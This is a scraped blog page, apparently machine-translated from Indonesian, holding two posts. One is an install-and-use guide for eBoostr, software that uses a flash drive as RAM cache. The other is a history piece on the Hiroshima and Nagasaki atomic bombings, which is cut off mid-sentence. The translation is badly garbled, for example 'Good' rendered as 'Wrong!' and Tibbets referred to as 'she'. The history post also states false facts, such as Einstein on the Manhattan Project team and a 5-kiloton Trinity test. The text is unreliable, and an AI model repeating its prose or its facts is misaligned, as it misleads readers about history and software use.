<span class="hps">To</span> <span class="hps">overcome this</span> <span class="hps">we usually</span> <span class="hps">adding RAM</span> <span class="hps">by buying</span> <span class="hps">new</span> <span class="hps">RAM</span>. <span class="hps">For the deep pockets</span>, <span class="hps">it is not</span> <span class="hps">a problem</span>, which means <span class="hps">but instead</span> <span class="hps">to</span> <span class="hps">a</span> <span class="hps">slim</span> <span class="hps">pocket</span> <span class="hps">it will</span> <span class="hps">be a</span> <span class="hps">separate issue</span> <span class="hps">because it must</span> <span class="hps">spend money for it</span>.<br />
<br />
<span class="hps">There</span> <span class="hps">may be more</span> <span class="hps">economical</span> <span class="hps">solution</span>, <span class="hps">ie</span> <span class="hps">by optimizing</span> <span class="hps">the flash that</span> <span class="hps">we</span> <span class="hps">have</span> <span class="hps">to</span> <span class="hps">be used as</span> <span class="hps">RAM</span>. <span class="hps">Thus</span>, <span class="hps">we</span> <span class="hps">do not</span> <span class="hps">need to spend</span> <span class="hps">more money to</span> <span class="hps">add</span> <span class="hps">RAM</span><span class="">.</span> <span class="hps">The next</span> <span class="hps">problem</span> <span class="hps">is whether</span> <span class="hps">it</span> <span class="hps">can be done</span>? <span class="hps">Can</span>, using <span class="hps">special</span> <span class="hps">software</span> <span class="hps">called</span> <span class="hps">eBoostr</span><span class="">.</span></span><br />
<div class="g-section" id="gt-res-tools"><div class="trans-listen-button jfk-button-standard jfk-button" id="gt-res-listen" role="button" style="-moz-user-select: none; display: none;"><span class="jfk-button-img"></span><span class="jfk-button-label">Simak</span></div><div class="trans-roman-button jfk-button-standard jfk-button" id="gt-res-roman" role="button" style="-moz-user-select: none; display: none;"><span class="jfk-button-img"></span><span class="jfk-button-label">Baca secara fonetik</span></div><div><div class="goog-inline-block goog-flat-menu-button" role="button" style="-moz-user-select: none;" tabindex="0" title=""><div class="goog-inline-block goog-flat-menu-button-caption"><span class="goog-flat-menu-button-img gt-rate-icon jfk-button-img"></span><span class="jfk-button-label">Beri peringkat terjemahan</span></div><div class="goog-inline-block goog-flat-menu-button-dropdown"></div><div class="goog-inline-block goog-flat-menu-button-dropdown"><span class="long_text" id="result_box"><span style="background-color: white;" title="Installasi Ebooster Pada Komputer anda">Installation Ebooster On Your Computer <br />
<br />
</span><span title="Pertama, kita harus melakukan pengunduhan softwarenya terlebih dahulu.">First, we must first download the software. </span><span title="Untuk melakukan download, silakan di sini.">To do the download, please here. <br />
</span><span title="Kedua, setelah file kita download, klik double file eboostr.exe-nya">Second, after we downloaded the file, double click its file eboostr.exe <br />
<br />
</span><span title="Ketiga, pilih bahasa yang dikehendaki (dalam contoh ini saya memilih bahasa Indonesia), kemudian klik OK">Third, select the desired language (in this example I chose the Indonesian language), then click OK <br />
<br />
</span><span style="background-color: white;" title="Keempat, klik lanjut saja hingga muncul jendela yang berisi tentang license produk,">Fourth, click the advanced course to get a window that contains the product license, <br />
<br />
</span><span title="Kelima, kemudian klik “Saya Setuju” hingga akan muncul jendela di mana kita akan meletakkan file instalasi di computer, seperti di bawah ini.">Fifth, then click "I Agree" to a window will appear where we would put the installation files on the computer, as below. <br />
<br />
</span><span title="Keenam, jika tidak ingin diubah, klik “maju” saja hingga muncul jendela di mana kita akan meletakkan aplikasi tersebut pada menu Start,">Sixth, if you do not want to change, click the "advanced" course to get a window where we will put the application on the Start menu, <br />
<br />
</span><span title="Ketujuh, klik “install” untuk memulai penginstallan eboostr">Seventh, click on "install" to start the installation eBoostr <br />
</span><span title="Kedelapan, tunggu hingga proses installasi selesai.">Eighth, wait until the installation process is complete. </span><span title="Dan ketika selesai maka kita akan mendapati jendela konfirmasi bahwa untuk menyelesaikan proses installasi computer harus direstart.">And when it is completed then we will find a confirmation window to complete the installation process that the computer must be restarted. <br />
<br />
</span><span title="Kesembilan, kemudian pilih “reboot sekarang” kemudian klik “selesai”.">Ninth, then select "reboot now" then click "finish". </span><span title="Pastikan semua aplikasi telah ditutup dan semua data telah kita simpan pada harddisk.">Make sure all applications have been closed and all the data we have stored on the hard drive. <br />
</span><span style="background-color: white;" title="Kesepuluh, setelah restart berarti proses installasi selesai.">Tenth, after the restart means the installation is complete. <br />
</span><span title="Menjalankan Eboostr">Running EBoostr <br />
<br />
</span><span style="background-color: white;" title="Setelah restart dan proses installasi selesai, kita sudah dapat menggunakan aplikasi tersebut.">After the restart and the installation is complete, we can already use the application. <br />
</span><span style="background-color: white;" title="Pertama, jalankan eboostr dengan cara [Start] >> [All Program] >> pilih eboostr Control Panel">First, run eBoostr by [Start]>> [All Program]>> select eBoostr Control Panel <br />
<br />
<br />
</span><span title="Kedua, klik “tambah” pada menu yang ada di sebelah kanan hingga akan muncul jendela seperti di bawah ini.">Second, click the "add" on the menu at the right until the window will appear as below. </span><span title="Pilih atau klik flashdisk di mana akan kita jadikan sebagai RAM.">Select or click on the flash in which we will use as RAM. <br />
<br />
</span><span title="Ketiga, pilih OK kemudian tunggu beberapa saat karena computer sedang mengalokasikan File Chace pada flasdisk,">Third, select OK and then wait a while because the computer is allocating File Chace on flasdisk, <br />
<br />
</span><span title="Keempat, jika berhasil maka kita akan mempunyai dua RAM, yaitu RAM flashdisk dan RAM itu sendiri,">Fourth, if successful then we will have two RAM, flash and RAM is the RAM itself, <br />
</span><span title="Kelima, selesai">Fifth, completed <br />
</span><span style="background-color: white;" title="Dengan menambah RAM tersebut, kecepatan baca menjadi naik beberapa kali lipat,">By increasing the RAM, the read speed to be increased several-fold, <br />
</span><span style="background-color: #ebeff9;" title="Oh, iya jika ingin menghentikan Flashdisk sebagai RAM maka pada eboostr control panel, klik pada RAM flashdisk kemudian klik menu “lepaskan”.">Oh, yes if you want to stop the stick as RAM then the eBoostr Control Panel, click on the flash RAM and then click the "remove". </span><span title="Beres!!!">Wrong! <br />
<br />
</span><span style="background-color: white;" title="Setelah itu, kita akan melihat hanya RAM yang “asli” saja yang keliatan">After that, we will see only the RAM that the "original" course of plasticity <br />
<br />
</span><span title="Selamat Mencoba!!!">Good luck! </span></span></div></div></div></div><div class="g-section" id="gt-res-tools"><div class="goog-inline-block goog-flat-menu-button-dropdown"><br />
</div>Sorry .. <a href="http://www.eboostr.com/en/why-upgrade/">Download Software Here</a></div>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com1tag:blogger.com,1999:blog-872526658971900970.post-51151376846609905472011-07-18T03:32:00.000-07:002011-07-18T03:34:30.747-07:00Hiroshima Nagasaki Bombing Horror stories<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPfR2LskOQ9GPO6GiG-Dh1fIEznri4c3RGcNxgBlzCrqipRH2z-ly-KUcsXLMmssQqZikOQQeRGgTgzhE74JNQ6yxs-WBQ4IXEuv3hT_6l28Mjhxj9mdzZanwrusBZ5OKuU47-LDMRJEg/s1600/jamur+hiroshima.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPfR2LskOQ9GPO6GiG-Dh1fIEznri4c3RGcNxgBlzCrqipRH2z-ly-KUcsXLMmssQqZikOQQeRGgTgzhE74JNQ6yxs-WBQ4IXEuv3hT_6l28Mjhxj9mdzZanwrusBZ5OKuU47-LDMRJEg/s320/jamur+hiroshima.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPfR2LskOQ9GPO6GiG-Dh1fIEznri4c3RGcNxgBlzCrqipRH2z-ly-KUcsXLMmssQqZikOQQeRGgTgzhE74JNQ6yxs-WBQ4IXEuv3hT_6l28Mjhxj9mdzZanwrusBZ5OKuU47-LDMRJEg/s1600/jamur+hiroshima.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh_vEsS9wHomXx1lqKODSyamcWTQrTragQ3iFNwxZt4OaBr87w0fSmhkGfzCLXk-k2YNcaWaZ5JvQOS5R-S-q8FVZiO1bYNia1GGD-THUzTdwSlEuOhQ6DI-Qah9Rm61tr9xMv5f5NtpM/s1600/kkorban+pemboman.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div><span class="long_text" id="result_box"><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Serangan bom atom di Hiroshima dan Nagasaki
adalah serangan nuklir selama Perang Dunia II terhadap kekaisaran Jepang
oleh Amerika Serikat atas perintah Presiden Amerika Serikat Harry S.">Atomic bomb attacks on Hiroshima and Nagasaki were nuclear attacks during World War II against the Japanese empire by the United States on orders of U.S. President Harry S. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Truman.">Truman. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Setelah enam bulan
pengeboman 67 kota di Jepang lainnya, senjata nuklir “Little Boy
dijatuhkan di kota Hiroshima pada tanggal 6 Agustus 1945, diikuti dengan
pada tanggal 9 Agustus 1945, dijatuhkan bom nuklir “Fat Man di atas
Nagasaki.">After six months of the bombing of 67 other Japanese cities, the nuclear weapon "Little Boy was dropped on Hiroshima on 6 August 1945, followed by on August 9, 1945, dropped a nuclear bomb" Fat Man on Nagasaki. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kedua
tanggal tersebut adalah satu-satunya serangan nuklir yang pernah
terjadi.">Both those dates were the only nuclear attack ever occurred. <br />
<a name='more'></a></span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Bom atom ini membunuh sebanyak 140.000 orang di Hiroshima dan
80.000 di Nagasaki pada akhir tahun 1945.">This atomic bomb to kill as many as 140,000 people in Hiroshima and 80,000 in Nagasaki by the end of 1945. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sejak itu, ribuan telah tewas akibat luka
atau sakit yang berhubungan dengan radiasi yang dikeluarkan oleh bom.">Since then, thousands have died from injuries or illness related to the radiation released by the bomb. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada kedua kota, mayoritas yang tewas
adalah penduduk.">In both cities, the majority of those killed were residents. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Enam hari setelah dijatuhkannya bom atom di Nagasaki, pada 15
Agustus, Jepang mengumumkan bahwa Jepang menyerah tanpa syarat kepada
Sekutu, menandatangani instrumen menyerah pada tanggal 2 September, yang
secara resmi mengakhiri Perang Pasifik dan Perang Dunia II.">Six days after the dropping of atomic bombs on Nagasaki, on August 15, Japan announced that Japan surrendered unconditionally to the Allies, signed the instrument of surrender on September 2, officially ending the Pacific War and World War II. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="(Jerman sudah menandatangani menyerah pada
tanggal 7 Mei 1945, mengakhiri teater Eropa.) Pengeboman ini membuat
Jepang sesudah perang mengadopsi Three Non-Nuclear Principles, melarang
negara itu memiliki senjata nuklir.">(Germany had signed the surrender on May 7, 1945, ending the European theater.) Bombing of Japan after the war was made to adopt Three Non-Nuclear Principles, forbidding that country has nuclear weapons. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pemboman Amerika terhadap dua kota besar
Hiroshima dan Nagasaki tanggal 6 Agustus 1945 adalah peristiwa sejarah
yang membuat trauma masyarakat dunia hingga saat ini.">American bombing of two major cities of Hiroshima and Nagasaki on August 6, 1945 is a historical event that made the trauma of the world community today. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pemboman dengan
menggunakan Bom Atom yang dikenang sebagai sejarah besar peperangan dan
penderitaan besar rakyat jepang atas kesalahan dua kubu yang saling
berperang mempertahankan prinsip politik mereka.">Bombardment using the Atomic Bomb is remembered as a great history of war and the suffering of the people of Japan for the mistakes of two warring camps maintain their political principles. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Bom Atom telah meluluh
lantakkan kedua kota itu hingga mengalami penderitaan yang panjang dari
generasi ke generasi akibat radiasi kimia yang diturunkan lewat
genetika.">Atomic bombs have meluluh lantakkan the two cities to have suffered long from generation to generation due to radiation chemistry is revealed through genetics. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pemboman itu mengakibatkan kehancuran yang merata di daerah
itu.">The bombing resulted in the destruction of a uniform in the area. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Dalam film
Dokumentasi dari Discovery Channel yang menggambarkan betapa
menderitanya rakyat 2 kota tersebut yang tertimpa bom atom berkekuatan
antara 15.000 dan 20.000 ton TNT.">In Documentation of the Discovery Channel film depicting the sufferings of the people of two cities hit by bomb power between 15,000 and 20,000 tons of TNT. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="tersebut
menewaskan 140.000 orang di Hiroshima dan 80.000 di Nagasaki, semua itu
dilakukan oleh Sekutu Amerika dkk.">which killed 140,000 people in Hiroshima and 80,000 in Nagasaki, it was all done by the American Allies et al. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="dengan alasan untuk
membungkam angkatan perang kekaisaran Jepang yang terkenal sangat
heroik, pantang menyerah dan loyal kepada kaisar, Jepang sendiri
akhirnya bertekuk lutut pada sekutu 6 hari setelah dijatuhkan bom atom
tersebut tepat pada tanggal 15 Agustus 1945 yang kemudian disusul
merdeka nya Indonesia dua hari kemudian,">with a reason to silence the imperial Japanese army are known to be very heroic, driven and loyal to the emperor, Japan finally surrendered to the Allies 6 days after the atomic bomb dropped right on August 15, 1945 that its independent Indonesia was followed two days later, </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="yang menurut
beberapa orang merupakan hadiah pemberian sekutu.">which according to some people is a gift of an ally. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Bom Atom yang dijatuhkan ke Hiroshima (6 Agustus
)di namai “little boy” yang berarti bocah kecil, dan yang dijatuhkan di
Nagasaki (9 Agustus) di namai “fat man” atau pria gemuk.">Atomic bombs are dropped on Hiroshima (6 August) on named "little boy" which means little boy, and that was dropped on Nagasaki (August 9) in the name the "fat man" or the fat man. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Bom bom tersebut dijatuhkan dari sebuah pesawat B-29 Flying
Superfortress bernama Enola Gay (nama yang aneh) yang dipiloti oleh
Letkol.">Bomb bomb dropped from an airplane B-29 Flying Superfortress named Enola Gay (strange name) piloted by Lieutenant Colonel. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Paul W.">Paul W. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tibbets, dari sekitar ketinggian 9.450 m (31.000 kaki).">Tibbets, of about 9450 m altitude (31,000 feet). </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Senjata ini meledak pada
8.15 pagi (waktu Jepang) ketika dia mencapai ketinggian 550 meter.">This weapon is exploded at 8:15 am (Japan time) when he reached an altitude of 550 meters. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Untuk menjatuhkan
bom ini pesawat memang terbang cukup tinggi dan menggunakan google
khusus (pelindung mata khusus) anti radiasi, dalam sebuah dokumenter
yang saya lihat, para pengebom memiliki tekanan (pressure) jiwa yang
sangat besar karena akan menjatuhkan bom dahsyat itu ke tengah tengah
pemukiman penduduk">To drop this bomb planes was flying quite high and using special google (special eye protection) anti-radiation, in a documentary I saw, the bombers have pressure (pressure) the soul is very large because it would impose powerful bomb into the middle of residential </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title=", namun mereka tetap
melakukan nya demi tugas bangsa.">, but they keep doing it for the sake of the nation task. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="ada sebuah kejadian
yang diabadikan disana saat beberapa saat bom dijatuhkan">there is an event that captured a moment there when the bomb was dropped <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="“Satu cahaya yang terang memenuhi pesawat,”
begitu tulis Tebbits.">"A bright light that meets the plane," wrote Tebbits. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="“Kami memutar pesawat kembali untuk melihat
Hiroshima.">"We turned the plane back to look at Hiroshima. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Kota tersebut tersembunyi di balik awan yang
mengerikan itu… mendidih, mengembang berbentuk jamur.” Setelah itu,
beberapa saat tidak ada yang bicara.">The city was hidden by that awful cloud ... boiling, fluffy mushroom-shaped. "After that, a few moments no one spoke. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Namun berikutnya, semua orang
bicara.">But next, everyone is talking. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="“Lihat itu!">"Look at that! </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Lihat itu!">Look at that! </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Lihat itu…..!">Look at that ... ..! </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="” seru kopilot Robert Lewis sambil memukul bahu Tibbets.">"Exclaimed the co-pilot Robert Lewis, pounding Tibbets's shoulder. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Lewis
mengatakan ia bisa merasakan pembelahan atom – proses yang terjadi
ketika bom atom meledak.">Lewis said he could feel the atomic fission - the process that occurs when the atomic bomb exploded. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Rasanya seperti timah hitam.">It felt like lead. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Ia lalu berbalik untuk menulis dalam catatannya.">He then turned to writing in his notes. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="“Tuhan,” tanyanya pada diri sendiri, “Apa yang telah kami
lakukan?”">"God," she asked herself, "What have we done?" <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tampak kota hiroshima yang hancur lebur rata
dengan tanah">It appears that devastated the city of Hiroshima flattened <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Tugas yang diberikan pada mereka mereka yang terlibat menjatuhkan
bom apapun itu merupakan tugas negara sekalipun harus membunuh ratusan
ribu nyawa, yah seperti itulah perang, hal ini dipakai Sekutu untuk
membungkam angkatan perang kekaisaran Jepang yang berkongsi dengan
kekuatan AXIS Jerman yang dipimpin Adolf Hitler dan Facism Italia">The task given to them they are involved dropping any bombs it is the task of the state even had to kill hundreds of thousands of lives, well that's war, the Allies used it to silence the Japanese imperial army who teamed up with German Axis forces led by Adolf Hitler and Italian Facism </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="yang dipimpin oleh Mussolini.">led by Mussolini. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Inilah bom littel boy yang dijatuhkan di
Hiroshima">This boy littel bomb dropped on Hiroshima </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="(Mk I “Little Boy” memiliki panjang 3 m, lebar 71 cm, dan berat
4000 kg. Rancangannya menggunakan aturan pistol untuk meledakan
sub-massa kritikal uranium-235 dan tiga U-235 ring target bersamaan
untuk menjadi super-massa kritikal, mengawali">(Mk I "Little Boy" has a length of 3 m, width 71 cm, and weighs 4000 kg. The design uses a gun to blow up the rules of sub-critical mass of uranium-235 and three U-235 targets simultaneously ring to become super-critical mass, leading </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="reaksi berantai nuklir. Dia terdiri dari 60 kg U-235, di mana
0,7 kg mengalami reaksi fissi. Uranium diperkaya di pabrik raksasa di
Oak Ridge, Tennessee selama Proyek Manhattan)">nuclear chain reaction. He's made up of 60 kg U-235, in which 0.7 kg experienced fission reaction. Uranium enriched in the giant factories at Oak Ridge, Tennessee during the Manhattan Project) <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Dan yang ini merupakan bom fat man, sesuai
namanya, jenis bom Mk-IV ini terlihat tambun.">And this is the bomb fat man, as the name implies, this type of bomb-Mk IV looks fat. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Fat Man adalah nama kode dari bom nuklir yang
dijatuhkan Amerika Serikat di Nagasaki, Jepang pada 9 Agustus 1945.">Fat Man is the codename of the nuclear bombs the U.S. dropped on Nagasaki, Japan on August 9, 1945. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pada saat itu Fat Man merupakan bom nuklir kedua yang digunakan
dalam perang serta merupakan ledakan nuklir buatan manusia yang ketiga.">At that Fat Man was the second nuclear bomb used in warfare and man-made nuclear explosion is the third. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pesawat yang bertugas membawa bom jenis
plutonium ini adalah B-29 dengan sandi bockscar Yang dipiloti oleh Mayor
Charles W.">Aircraft assigned to carry a bomb of this type of plutonium is a B-29 with a password bockscar The piloted by Maj. Charles W. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sweeney,
Panjang bom ini 31/4 Meter dengan diamater 1 1/2 meter dan berat 4 1/2
ton">Sweeney, The length of this bomb 31 / 4 meter with a diameter 1 1 / 2 feet and weighs 4 1 / 2 ton <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Inilah sosok pesawat “terkutuk” tersebut, B-29.">This is the figure of the plane "cursed", the B-29. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Merupakan pesawat buatan
Boeing model 345 yang merupakan pesawat bomber terbesar yg dimiliki oleh
Angkatan udara Amerika Serikat selama Perang Dunia kedua">Is a model plane made by Boeing 345 aircraft which is the largest bomber who is owned by the United States Air Force during World War II <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sesaat setelah di jatuhkan dan bom tersebut
meledak, pesawat bomber B-29 tersebut bergetar sangat hebat.">Shortly after the drop and the bomb exploded, B-29 bomber plane was vibrating very great. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sementara 10.000
meter dibawah mereka tersebut, hiroshima hancur berantakan dengan gempa
dahsyat dan gelombang panas 4.000 derajat celcius.">While the 10,000 meters below them, the Hiroshima shattered by the devastating earthquake and 4,000 degrees Celsius heat wave. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Manusia manusia
yang terbakar panas, tersengat radiasi nuklir mati saat itu juga.">Of humans burning heat, nuclear radiation stung dead on the spot. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="tercatat
selain jumlah korban korban tewas diatas, beberapa tahun kemudian
200.000 orang menyusul tewas karena penyakit penyakit akibat radiasi,
luka bakar stadium tinggi dan leukemia serta masih banyak penyakit
penyakit lain nya.">recorded in addition to the death toll above, a few years later, 200,000 people have died because of illness following the illnesses caused by radiation, burns and high-stage leukemia and other diseases are still a lot of his illness. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Dampak radioaktif mencapai 20 km dari lokasi jatuhnya bom
tersebut.">Impact of radioactive reached 20 miles from the location of the bomb. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Secara umum bom atom pertama kali diketemukan
oleh ilmuwan Jerman di laboratorium tersembunyi mereka di kawasan Norsk
Hydro, Norwegia.">In general, the atomic bomb was first discovered by German scientists in their laboratories hidden in the area of Norsk Hydro, Norway. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="namun
hal ini digagalkan oleh gerilyawan Norwegia yang anti NAZI-Jerman.">but this is thwarted by the guerrillas Norwegian anti-Nazi Germans. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="dengan menyabot
peralatan dan suplai air berat ( deuterium ).">with the sabotage of equipment and supplies of heavy water (deuterium). </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sejak saat itu Amerika pun ngebut dengan memulai Project
Manhattan, yang dilakukan oleh tim ilmuwan pengungsi, yang tak lain
adalah J.">Since that time the American had raced to launch the Manhattan Project, conducted by a team of scientists refugees, which is none other than J. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Robert Oppenheimer, Albert Einstein, Leo Szilard, Edward Teller
& Eugene Wigner.">Robert Oppenheimer, Albert Einstein, Leo Szilard, Edward Teller & Eugene Wigner. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Mereka diberi tempat khusus yang sangat dirahasiakan di daerah
New Mexico, tepatnya Los Alamos National Laboratory, Alamogordo – New
Mexico.">They were given a special place that is withheld in the area of New Mexico, specifically the Los Alamos National Laboratory, Alamogordo - New Mexico. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Percobaan mereka yang berhasil adalah bom atom dengan nama
Trinity dengan daya ledak setara 5 kiloton TNT, lebih kecil dari bom
Little Boy yang dijatuhkan di Hiroshima yang mempunyai daya ledak setara
13 kiloton TNT.">Their experiment that works is the name of the Trinity atomic bomb with explosive power equivalent to 5 kilotons of TNT, smaller than the Little Boy bomb dropped on Hiroshima that had explosive power equivalent to 13 kilotons of TNT. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Akibat percoban ini para ilmuwan tersebut
langsung berkomentar dan menolak penggunaan bom ini untuk digunakan.">As a result of this experiment the scientists immediately remarked and rejected the use of these bombs to be used. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="dikarenakan daya hancurnya
yang sangat dasyat dibandingkan dengan senjata apapun.">due to the destruction of a very terrible than any weapon. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Namun Amerika tetap nekat menggunakan bom
ini hingga munculah 2 bersaudara penebar radiasi yaitu Little Boy yang
dijatuhkan di Hiroshima dan Fat Man yang dijatuhkan di Nagasaki.">Yet America remains determined to use these bombs to munculah 2 brothers spreader radiation that is Little Boy dropped on Hiroshima and Fat Man dropped on Nagasaki. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Adalah Paul Warfield Tibbets Jr.">Paul Warfield Tibbets Jr. was. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="yang diberi perintah untuk membentuk suatu
grup pengebom khusus dengan kekuatan 1 skuadron B-29 Superfortress yang
telah dimodifikasi.">who were given orders to form a special group with the power of a bomber squadron of B-29 Superfortress that has been modified. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kelompok ini
ditempatkan di Pulau Tinian di sebuah wilayah Kep.">The group was stationed at Tinian Island in an area of Kep. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Mariana.">Mariana. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pada hari H tanggal
6 Agustus 1945 bom pertama Meledak di Kota Hiroshima yang berpenduduk
sekitar 350.000 jiwa (pada waktu itu), hingga menimbulkan korban hingga
